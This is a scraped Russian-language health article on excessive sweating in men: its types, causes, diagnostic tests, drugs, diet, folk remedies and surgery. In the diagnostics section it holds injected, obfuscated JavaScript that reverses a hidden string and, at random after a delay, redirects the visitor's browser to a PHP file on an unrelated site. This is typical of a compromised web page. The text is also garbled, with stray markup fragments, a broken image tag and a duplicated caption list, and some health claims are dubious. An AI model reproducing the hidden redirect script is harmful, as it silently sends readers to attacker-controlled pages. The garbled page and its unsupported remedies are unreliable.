Выделение пота — это нормальный для человеческого организма физиологический процесс, направленный на поддержание водно-солевого баланса, выведение продуктов обмена веществ и сохранение приемлемого для жизни уровня теплообмена между телом и внешней средой. Хотя это и не всегда заметно, но потоотделение происходит практически непрерывно. Объём и состав выделяемой жидкости зависят от температуры окружающего воздуха, интенсивности физических нагрузок, эмоционального состояния. Но в тех случаях, когда чрезмерная потливость не связана с действием указанных факторов, говорят о возникновении патологии в работе потовых желёз.
Содержание
Особенности повышенной потливости у мужчин
Пот представляет собой жидкость с примесями солей и органических веществ. За счёт его испарения с поверхности кожи организм человека борется с возникшим по той или иной причине тепловым дисбалансом.
Потоотделение у женщин и мужчин неодинаково: первые потеют чуть ли не в 2 раза меньше при равных нагрузках, что обусловлено различиями эволюционного развития. По этой причине представители сильного пола чаще сталкиваются с проблемой гипергидроза (излишнего выделения пота без явных на то причин).
Высокое потоотделение вызывает как физический дискомфорт (неприятный запах), так и психологический, выражающийся в беспокойстве, неуверенности в себе из-за сопутствующих визуальных проявлений (влажная одежда).
Классификация заболевания
Хотя гипергидроз у мужчин проявляется по-разному, его виды можно классифицировать, используя такие критерии, как:
- tor»>
- периодичность возникновения:
- сезонный (зависимость от времени года);
- постоянный;
- степень распространения:
- генерализованный (вся поверхность кожи);
- локальный (местные признаки):
- аксиллярный (зона подмышек);
- пальмарный (ладони);
- плантарный (стопы);
- краниальный (голова);
- краниофациальный (лицо, шея);
- промежностный (включая потливость мошонки);
- происхождение:
- первичный (без видимых причин, самопроизвольный);
- вторичный (как симптом какого-либо заболевания);
- степень интенсивности потовых выделений:
- лёгкая (дискомфорт минимален, диаметр пятен на одежде до 10 см);
- средняя (диаметр влажных пятен от 10 до 20 см);
- тяжёлая (пот стекает ручьём);
- характер проявления:
- внезапный;
- частый;
- утренний;
- возраст пациента:
- подростковый;
- гипергидроз пожилого возраста.
Причины развития заболевания
Чаще всего с проявлениями гиперфункции потовых желёз сталкиваются мужчины в возрасте от 15 до 35 лет. Эксперты выделяют бытовые и медицинские основания для возникновения повышенного потоотделения.
К причинам повседневного характера, которые можно устранить самостоятельно, относят:
- tor»>
- напряжённую физическую работу;
- нарушение рациона и режима питания;
- лишний вес;
- пренебрежение правилами гигиены;
- употребление алкоголя, наркотических и психоактивных веществ;
- одежду и постельное бельё из синтетических материалов;
- высокую температуру окружающего воздуха;
- стрессы.
Если указанные выше факторы были ликвидированы, а выделение пота осталось на прежнем высоком уровне, то велика вероятность обнаружения недугов, наличие которых требует принятия срочных мер:
- tor»>
- нарушение гормонального баланса (сахарный диабет, гипогликемия, феохромоцитома, тиреотоксикоз, нейроэндокринная опухоль, акромегалия);
- нестабильное состояние сердечно-сосудистой системы (после инсульта и т. п.);
- инфекции (грипп, малярия, абсцессы, грибок, ВИЧ, туберкулёз, сифилис);
- нервные расстройства (синдром Райли-Дея, болезнь Паркинсона, истощение нервной системы);
- опухолевые новообразования злокачественной природы;
- сбои в работе мочевыделительной системы;
- хроническое воспаление предстательной железы (простатит);
- ослабление иммунитета;
- наследственный фактор;
- применение лекарственных препаратов (инсулин, аспирин);
- абстинентный синдром.
Видео: Елена Малышева о причинах гипергидроза
Диагностика гипергидроза и дифференциальная диагностика сопутствующих заболеваний
В диагностике повышенной потливости специалист первым делом должен понять, какова причина возникновения заболевания. Как уже ранее было отмечено, по происхождению гипергидроз бывает первичным, требующим самостоятельного лечения, либо вторичным, когда обильный пот является только лишь симптомом основной болезни.
tor»>Важную роль на первом этапе диагностирования играет сбор анамнеза. Пациент должен постараться максимально точно ответить на вопросы, касающиеся давности появления, местоположения на теле, частоты и интенсивности потоотделения.
Физикальные методы
Врачом осуществляется визуальный осмотр проблемных мест, одежды. После этих процедур физическое обследование сосредотачивается на том, чтобы исключить симптомы аутоиммунных заболеваний (повышенная температура тела, артериальное давление вне нормы, опухолевые образования, увеличенные лимфоузлы, нарушения в работе двигательного аппарата, органов чувств).
Лабораторные методики
Лабораторное диагностирование включает в себя следующие методы сбора данных:
- tor»>
- общий анализ крови;
- исследование щитовидной железы (УЗИ, уровень гормонов в крови);
- анализ содержания сахара (глюкозы) в крови;
- реакцию Вассермана;
- анализ мочи;
- анализ мокроты;
- флюорографию;
- компьютерную томографию головного мозга;
- рентген черепа;
- кардиографию.
Тесты на определение гипергидроза
С целью установления самого факта гипергидроза в современной медицине используются:
- tor»>
- йод-крахмальный тест (проба Минора), позволяющий определить площадь поверхности кожи, на которой происходит усиленное потоотделение, и точное расположение наиболее активных потовых желёз;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/diagnostika-gipergidroza-728×546.jpg» alt=»Проба Минора на ступнях» width=»728″ height=»546″ /> В той зоне, где потовые железы наиболее активны, йод окрасит крахмал в тёмный цвет
- гравиметрический (весовой) анализ — с его помощью можно получить не только однозначный ответ на вопрос наличия гипергидроза, но и узнать средний объём выделяемой жидкости;
- метод хроматографии — сугубо лабораторный, предполагает сбор образцов потовых выделений для физико-химического анализа состава, так становится возможным установить конкретную разновидность заболевания.
Лечение повышенной потливости
Лечение гипергидроза предполагает индивидуальный подход и комплексное воздействие. Но и от самого пациента многое зависит. Так, только ему под силу максимально устранить из своей жизни факторы, провоцирующие потовые железы на активную работу.
Медикаментозная терапия
Препараты, помогающие справиться с повышенной потливостью, делятся в зависимости от степени выраженности нервной составляющей заболевания на две группы:
- tor»>
- седативные (валерьянка, пустырник, другие травы и их комбинации, обладающие схожим эффектом);
- психотропные (транквилизаторы, принимаются только по назначению врача).
С задачей устранения внешних проявлений справляются косметические средства: антиперспиранты (не путать с дезодорантами, которые лишь устраняют запах, но не влияют на количество выделяемого пота) и различные кремы или мази, содержащие соли цинка и алюминия. Указанные химические элементы подавляют потоотделение на определённое время (от 12 до 48 часов). Такие средства эффективны только при локальных проявлениях.
Также в аптеках представлены препараты перорального типа, действие которых связано с угнетением деятельности потовых желёз (Клонидин, Бензотропин, бета-блокаторы), но их применение сопряжено с большой вероятностью возникновения серьёзных побочных явлений.
Эффективным методом терапии является подкожное введение препаратов Ботокс или Диспорт — результат от инъекций сохраняется от 6 месяцев до 1,5 лет. Стоит иметь в виду, что проводится процедура только специалистами.
Диета
В рационе больного акцент должен сместиться в пользу пищи растительного происхождения. В меню следует включить следующие продукты:
- tor»>
- гречневую крупу;
- рис;
- капусту;
- морковь;
- петрушку;
- листья салата;
- бобовые;
- инжир;
- мёд;
- хлеб из отрубей;
- молочные продукты;
- минеральные негазированные напитки;
- мясо и рыбу диетических сортов.
Противопоказано употребление кофеиносодержащих продуктов, острой, кислой и жирной еды, приправ, пряностей, алкоголя. Желательно отказаться от курения.
В питании следует придерживаться нескольких правил. Все блюда и напитки должны быть комнатной температуры. А режим питания планируют так, чтобы в течение дня нашлось время для 5–6 приёмов пищи.
Фотогалерея: полезные продукты при повышенной потливости
- Ионофорез даже в домашних условиях позволяет добиться продолжительного эффекта
- Волосяные фолликулы устраняются навсегда, а вместе с ними и потовые железы
- Методы рефлексотерапии (иглоукалывание, акупрессура, термопунктура и др.) могут давать при гипергидрозе временный эффект различной продолжительности
- Важно: только диетические сорта
- Без них — никуда
- Всему голова
- В основе диеты
- Продукт, насыщенный полезными веществами
- Здоровая пища
- Подкожное введение Ботокса
- Борьба с потливостью
- Инъекции ботокса
- Классическая локализация на теле
- Повышенная активность потовых желёз может быть следствием их патологии
- Петрушка обогащает организм всеми необходимыми полезными компонентами и помогает справляться с негативными последствиями гипергидроза
- Минеральная вода без газа утолит жажду, восполнит недостаток жидкости в организме и обогатит его важными микроэлементами
- Гречка стабилизирует уровень инсулина, благотворно влияя на функционирование эндокринных желёз
- Молочные продукты восполнят запасы кальция, активно выводящегося из организма с потом
- Отрубной и цельнозерновой хлеб богаты витаминами группы В, которые помогают в борьбе с гипергидрозом
- п
- В той зоне, где потовые железы наиболее активны, йод окрасит крахмал в тёмный цвет
- Для установления причины гипергидроза необходимо тщательное обследование пациента
- Часто повышенное потоотделение возникает как реакция на стресс или сильные переживания
- Сок лимона при нанесении на кожу сужает поры и предотвращает развитие патогенной микрофлоры
- Гипергидроз имеет множество индивидуальных проявлений, касающихся как локализации активных потовых желёз, так и интенсивности их работы
- п
- Ботокс блокирует нервные окончания потовых желёз, тем самым временно прерывая цепочку импульсов и останавливая выделение пота
Народные средства
Наряду с лекарственной терапией и правильным питанием, народные методы положительно сказываются на ходе лечения.
Самые результативные средства:
- tor»>
- компрессы/ванночки с настоем дубовой коры (1 часть коры на 4 части кипятка) в течение 30–40 минут;
- спиртовая настойка из полевого хвоща (растение и спирт в соотношении 1:10, состав приобретает нужные свойства спустя 2 недели после изготовления) — применяется в качестве растирки в местах повышенного потоотделения;
- лимон — долькой фрукта проводят по сухой чистой коже в местах, где выделяется пот.
Физиотерапия
Эффективны такие методики, как:
- tor»>
- рефлексотерапия (воздействие на подкожные нервные рецепторы);
- электроэпиляция (удаление волос с проблемных участков);
- ионофорез (доставка активных веществ в глубокие слои кожи с помощью гальванического тока малой мощности);
- гидропроцедуры.
Фотогалерея: методы физиотерапии при гипергидрозе
- Ионофорез даже в домашних условиях позволяет добиться продолжительного эффекта
- Волосяные фолликулы устраняются навсегда, а вместе с ними и потовые железы
- Методы рефлексотерапии (иглоукалывание, акупрессура, термопунктура и др.) могут давать при гипергидрозе временный эффект различной продолжительности
- Важно: только диетические сорта
- Без них — никуда
- Всему голова
- В основе диеты
- Продукт, насыщенный полезными веществами
- Здоровая пища
- Подкожное введение Ботокса
- Борьба с потливостью
- Инъекции ботокса
- Классическая локализация на теле
- Повышенная активность потовых желёз может быть следствием их патологии
- Петрушка обогащает организм всеми необходимыми полезными компонентами и помогает справляться с негативными последствиями гипергидроза
- Минеральная вода без газа утолит жажду, восполнит недостаток жидкости в организме и обогатит его важными микроэлементами
- Гречка стабилизирует уровень инсулина, благотворно влияя на функционирование эндокринных желёз
- Молочные продукты восполнят запасы кальция, активно выводящегося из организма с потом
- Отрубной и цельнозерновой хлеб богаты витаминами группы В, которые помогают в борьбе с гипергидрозом
- п
- В той зоне, где потовые железы наиболее активны, йод окрасит крахмал в тёмный цвет
- Для установления причины гипергидроза необходимо тщательное обследование пациента
- Часто повышенное потоотделение возникает как реакция на стресс или сильные переживания
- Сок лимона при нанесении на кожу сужает поры и предотвращает развитие патогенной микрофлоры
- Гипергидроз имеет множество индивидуальных проявлений, касающихся как локализации активных потовых желёз, так и интенсивности их работы
- п
- Ботокс блокирует нервные окончания потовых желёз, тем самым временно прерывая цепочку импульсов и останавливая выделение пота
Хирургическое вмешательство
Иногда радикальные мероприятия становятся единственным выходом, если консервативные способы лечения не дали нужный результат:
- tor»>
- Лазерное лечение. Средняя продолжительность операции — 40 минут. В кожу через микроскопическое отверстие вводят оптоволокно, которое испускает лазерный луч, выжигающий потовые клетки, не причиняя вреда окружающим тканям. Восстановительный период длится не более 6–7 дней.
- Симпатэктомия. Это клипирование или полное разрушение симпатического ствола нерва, ответственного за выделение пота. Длительность процедуры может достигать полутора часов. Реабилитация — 1 неделя.
- Кюретаж. Удаление потовых желёз специальными инструментами. Время операции — до 40 минут, восстановление занимает от 2 недель до 1 месяца.
Видео: отзыв пациента об эффективности симпатэктомии в лечении гипергидроза ладоней
Прогноз лечения. Возможные осложнения
Хотя гипергидроз представляет собой весьма сложную и деликатную проблему, вероятность благоприятного исхода при правильном его лечении очень велика. На сегодняшний день в арсенале специалистов имеется множество отлично зарекомендовавших себя в борьбе с этим недугом лекарств и процедур.
К надёжным операциям, однако, трудно отнести симпатэктомию, исходом которой при неблагоприятном стечении обстоятельств может стать компенсаторный гипергидроз. Этот побочный эффект проявляется в том, что повышенная потливость начинает беспокоить через несколько недель после хирургического вмешательства в тех местах, где ранее не наблюдалась. Устранить дефект можно в ходе повторной симпатэктомии, если предыдущая операция представляла собой клипирование нерва. В том случае, когда нерв был полностью разрушен, придётся воспользоваться другими методами.
Иные осложнения при лечении повышенной потливости могут возникнуть только в тех случаях, когда пациент не следует предписаниям врача, будь то приём лекарств или соблюдение правил послеоперационной реабилитации.
Профилактика заболевания
Многие люди, впервые столкнувшись с гипергидрозом, стараются не обращать на него внимания. В результате бездействия могут развиться различные кожные недуги, борьба с которыми займёт гораздо больше времени и усилий.
Профилактика чрезмерного потоотделения включает в себя:
- tor»>
- правильный рацион;
- использование одежды, обуви, постельного белья из натуральных материалов;
- регулярные гигиенические мероприятия;
- физическая подготовка;
- борьба со стрессом;
- отказ от вредных привычек.
Гипергидроз — распространённая проблема среди людей. Очень важно вовремя заметить его проявления и обратиться к специалисту, чтобы выяснить причину, спровоцировавшую появление недуга. Ведь фактором возникновения гипергидроза может стать как обычный стресс, так и тяжёлое заболевание внутренних органов.